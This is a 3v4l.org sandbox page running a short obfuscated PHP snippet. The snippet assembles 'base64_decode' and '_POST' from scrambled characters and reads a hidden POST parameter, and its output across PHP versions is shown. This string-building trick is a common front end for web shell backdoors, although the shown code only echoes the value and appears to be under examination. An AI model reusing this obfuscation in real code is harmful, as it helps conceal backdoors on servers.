3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nd6e706']; echo $s22; ?>
based on 1bko3
Output for 5.3.0 - 7.1.0
Notice: Undefined index: nd6e706 in /in/eXkKb on line 1
Output for 4.3.0 - 5.2.17
Notice: Undefined index: nd6e706 in /in/eXkKb on line 1